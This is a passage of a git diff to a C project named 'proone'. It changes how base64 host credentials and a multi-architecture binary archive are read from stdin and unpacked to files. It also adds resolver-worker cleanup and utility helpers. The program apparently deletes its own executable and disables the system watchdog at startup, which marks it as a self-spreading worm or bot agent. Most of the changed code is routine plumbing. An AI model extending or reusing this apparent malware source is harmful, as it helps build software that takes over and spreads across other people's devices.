sprintf(path, "%s.%s", path_prefix, arch_str); - - fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0666); - if (fd < 0) { - perror("open()"); - exit_code = 2; - break; - } - if (write(fd, bin_archive.data + bin_archive.offset_arr[i], bin_archive.size_arr[i]) != (ssize_t)bin_archive.size_arr[i]) { - perror("write()"); - exit_code = 2; - break; - } - prne_close(fd); + if (prne_do_unpack(unpack_ctx, (uint8_t*)addr, bin_archive.bin[i].size, &pr) != (ssize_t)bin_archive.bin[i].size) { + report_pack_ret(pr); + exit_code = 1; + goto END; } - } while (false); + munmap(addr, bin_archive.bin[i].size); + addr = NULL; +#else + do { + write_len = prne_do_unpack(unpack_ctx, write_buf, sizeof(write_buf), &pr); + if (write_len < 0) { + report_pack_ret(pr); + exit_code = 1; + goto END; + } + write(fd, write_buf, (size_t)write_len); + } while (write_len != 0); +#endif + prne_free_unpack_ctx(unpack_ctx); + unpack_ctx = NULL; + prne_close(fd); + fd = -1; + } + +END: +#if USE_MMAP + if (addr != NULL) { + munmap(addr, bin_archive.bin[i].size); + } +#endif + prne_free_unpack_ctx(unpack_ctx); prne_free(path); prne_close(fd); - prne_free_unpack_bin_archive_result(&unpack_ret); prne_free_bin_archive(&bin_archive); + prne_free_stdin_base64_rf_ctx(&rf_ctx); return exit_code; } diff --git a/src/proone.c b/src/proone.c index 301b194..4a58234 100644 --- a/src/proone.c +++ b/src/proone.c @@ -297,33 +297,35 @@ static void setup_signal_actions (void) { } static void read_host_credential (void) { - static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3; + static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3 + 2; char *buf = (char*)prne_malloc(1, buf_size); - size_t i; - bool found = false; + size_t len; - for (i = 0; i < buf_size; i += 1) { - if (read(STDIN_FILENO, &buf[i], 1) != 1) { - goto END; - } + if (buf == NULL) { + return; + } - if (buf[i] == '\n') { - found = true; - break; - } + if (fgets(buf, buf_size, stdin) == NULL) { + goto END; } - if (found && - prne_dec_base64_mem(buf, i, &prne_g.host_cred_data, &prne_g.host_cred_size) && - prne_g.host_cred_size > 1 + 2 + 255 * 2) { - prne_free(prne_g.host_cred_data); - prne_g.host_cred_data = NULL; - prne_g.host_cred_size = 0; + len = prne_str_shift_spaces(buf, strlen(buf)); + + if (len > 0) { + prne_dec_base64_mem(buf, len, &prne_g.host_cred_data, &prne_g.host_cred_size); } END: prne_free(buf); } +static void read_bin_archive (void) { + prne_stdin_base64_rf_ctx_t rf_ctx; + + prne_init_stdin_base64_rf_ctx(&rf_ctx); + prne_g.bin_ready = prne_index_bin_archive(&rf_ctx, prne_stdin_base64_rf, &prne_g.bin_archive).rc == PRNE_PACK_RC_OK; + prne_free_stdin_base64_rf_ctx(&rf_ctx); +} + static void set_env (void) { // environment set up function calls in here } @@ -414,7 +416,6 @@ int main (const int argc, char **args) { prne_g.lock_shm_fd = -1; prne_g.bin_ready = false; prne_g.is_child = false; - prne_init_unpack_bin_archive_result(&prne_g.bin_pack); prne_init_bin_archive(&prne_g.bin_archive); mbedtls_x509_crt_init(&prne_g.ssl.ca); mbedtls_entropy_init(&prne_g.ssl.entpy); @@ -448,12 +449,9 @@ int main (const int argc, char **args) { delete_myself(args[0]); disasble_watchdog(); + // load data from stdin read_host_credential(); - // get fed with the bin archive - prne_g.bin_pack = prne_unpack_bin_archive(STDIN_FILENO); - if (prne_g.bin_pack.result == PRNE_UNPACK_BIN_ARCHIVE_OK) { - prne_g.bin_ready = prne_index_bin_archive(&prne_g.bin_pack, &prne_g.bin_archive) == PRNE_INDEX_BIN_ARCHIVE_OK; - } + read_bin_archive(); if (!ensure_single_instance()) { exit_code = 1; @@ -522,7 +520,6 @@ int main (const int argc, char **args) { END: prne_free_bin_archive(&prne_g.bin_archive); - prne_free_unpack_bin_archive_result(&prne_g.bin_pack); prne_g.bin_ready = false; mbedtls_ssl_config_free(&prne_g.s_ssl.conf); diff --git a/src/proone.h b/src/proone.h index b7f0cfb..ceee847 100644 --- a/src/proone.h +++ b/src/proone.h @@ -26,7 +26,6 @@ struct prne_global { bool bin_ready; bool is_child; - prne_unpack_bin_archive_result_t bin_pack; prne_bin_archive_t bin_archive; struct { diff --git a/src/resolv_worker.c b/src/resolv_worker.c index 20cc8cf..a178771 100644 --- a/src/resolv_worker.c +++ b/src/resolv_worker.c @@ -1190,6 +1190,10 @@ static void resolv_proc_expired (prne_resolv_wkr_ctx_t ctx) { static void resolv_wkr_free (void *p) { DECL_CTX_PTR(p); + if (p == NULL) { + return; + } + prne_free_wkr_timeout_slot(ctx->sckop_to_slot); prne_free_wkr_timeout_slot(ctx->err_to_slot); prne_free_wkr_pollfd_slot(ctx->evt_pfd_slot); @@ -1202,6 +1206,9 @@ static void resolv_wkr_free (void *p) { mbedtls_ssl_config_free(&ctx->ssl.conf); mbedtls_ssl_free(&ctx->ssl.ctx); + prne_close(ctx->act_dns_fd); + prne_close(ctx->dnss_fd[0]); + prne_close(ctx->dnss_fd[1]); prne_close(ctx->evtfd[0]); prne_close(ctx->evtfd[1]); @@ -1297,6 +1304,7 @@ prne_resolv_wkr_ctx_t prne_alloc_resolv_worker (prne_worker_t *w, prne_wkr_sched ctx->sck_pfd_slot[1] = prne_alloc_wkr_pollfd_slot(wsr); ctx->act_dns_fd = -1; ctx->ctx_state = RESOLV_CTX_STATE_NONE; + ctx->wkr_state = RESOLV_WKR_STATE_OK; ctx->ssl.ctr_drbg = ctr_drbg; prne_init_llist(&ctx->qlist); prne_init_imap(&ctx->qid_map); diff --git a/src/util_ct.h b/src/util_ct.h index 1aadbe2..c8068c7 100644 --- a/src/util_ct.h +++ b/src/util_ct.h @@ -4,6 +4,8 @@ #define PRNE_LIMIT_ENUM(t,x,l) _Static_assert(x<=l,"enum overflow: "#t) +#define prne_op_min(a, b) (a < b ? a : b) +#define prne_op_max(a, b) (a > b ? a : b) #define prne_op_spaceship(a, b) (a == b ? 0 : a < b ? -1 : 1) #if !defined(memzero) diff --git a/src/util_rt.c b/src/util_rt.c index e0ebafc..21f1ff3 100644 --- a/src/util_rt.c +++ b/src/util_rt.c @@ -1,5 +1,6 @@ #include "util_rt.h" +#include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> @@ -83,6 +84,17 @@ void prne_free (void *ptr) { free(ptr); } +size_t prne_getpagesize (void) { + long ret; + + ret = sysconf(_SC_PAGESIZE); + if (ret > 0) { + return ret; + } + + return 4096; +} + void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t len) { static const char SET[] = "qwertyuiopasdfghjklzxcvbnm0123456789"; size_t i = 0; @@ -227,6 +239,57 @@ bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, return true; } +void prne_init_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx) { + ctx->line_len = 0; + ctx->out_len = 0; +} + +void prne_free_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx) { + ctx->line_len = 0; + ctx->out_len = 0; +} + +prne_pack_ret_t prne_stdin_base64_rf (void *in_ctx, const size_t req, uint8_t *out, size_t *out_len) { + prne_stdin_base64_rf_ctx_t *ctx = (prne_stdin_base64_rf_ctx_t*)in_ctx; + size_t rem = req, have; + prne_pack_ret_t ret; + + ret.rc = PRNE_PACK_RC_OK; + ret.err = 0; + *out_len = 0; + + while (true) { + have = prne_op_min(rem, ctx->out_len); + memcpy(out, ctx->out_buf, have); + memmove(ctx->out_buf, ctx->out_buf + have, ctx->out_len - have); + rem -= have; + ctx->out_len -= have; + out += have; + *out_len += have; + + if (rem == 0) { + break; + } + + if (fgets(ctx->line_buf, sizeof(ctx->line_buf), stdin) == NULL) { + if (feof(stdin)) { + break; + } + ret.rc = PRNE_PACK_RC_ERRNO; + ret.err = errno; + break; + } + ctx->line_len = prne_str_shift_spaces(ctx->line_buf, strlen(ctx->line_buf)); + + if ((ret.err = mbedtls_base64_decode(ctx->out_buf, sizeof(ctx->out_buf), &ctx->out_len, (unsigned char*)ctx->line_buf, ctx->line_len)) != 0) { + ret.rc = PRNE_PACK_RC_MBEDTLS_ERR; + break; + } + } + + return ret; +} + bool prne_set_pipe_size (const int fd, const int size) { return #if defined(F_SETPIPE_SZ) diff --git a/src/util_rt.h b/src/util_rt.h index eb786a0..3320566 100644 --- a/src/util_rt.h +++ b/src/util_rt.h @@ -1,4 +1,6 @@ #pragma once +#include "pack.h" + #include <stddef.h> #include <stdbool.h> #include <stdint.h> @@ -7,6 +9,17 @@ #include <mbedtls/ctr_drbg.h> +struct prne_stdin_base64_rf_ctx; +typedef struct prne_stdin_base64_rf_ctx prne_stdin_base64_rf_ctx_t; + +struct prne_stdin_base64_rf_ctx { + size_t line_len; + size_t out_len; + char line_buf[78]; + uint8_t out_buf[58]; +}; + + #if 0 bool prne_strendsw (const char *str, const char *w) { const size_t len_str = strlen(str); @@ -31,6 +44,7 @@ void *prne_malloc (const size_t se, const size_t cnt); void *prne_realloc (void *ptr, const size_t se, const size_t cnt); void *prne_calloc (const size_t se, const size_t cnt); void prne_free (void *ptr); +size_t prne_getpagesize (void); void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t len); char *prne_strnchr (const char *p, const char c, const size_t n); @@ -44,5 +58,8 @@ struct timespec prne_max_timespec (const struct timespec a, const struct timespe char *prne_enc_base64_mem (const uint8_t *data, const size_t size); bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, size_t *size); +void prne_init_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx); +void prne_free_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx); +prne_pack_ret_t prne_stdin_base64_rf (void *ctx, const size_t req, uint8_t *out, size_t *out_len); bool prne_set_pipe_size (const int fd, const int size); |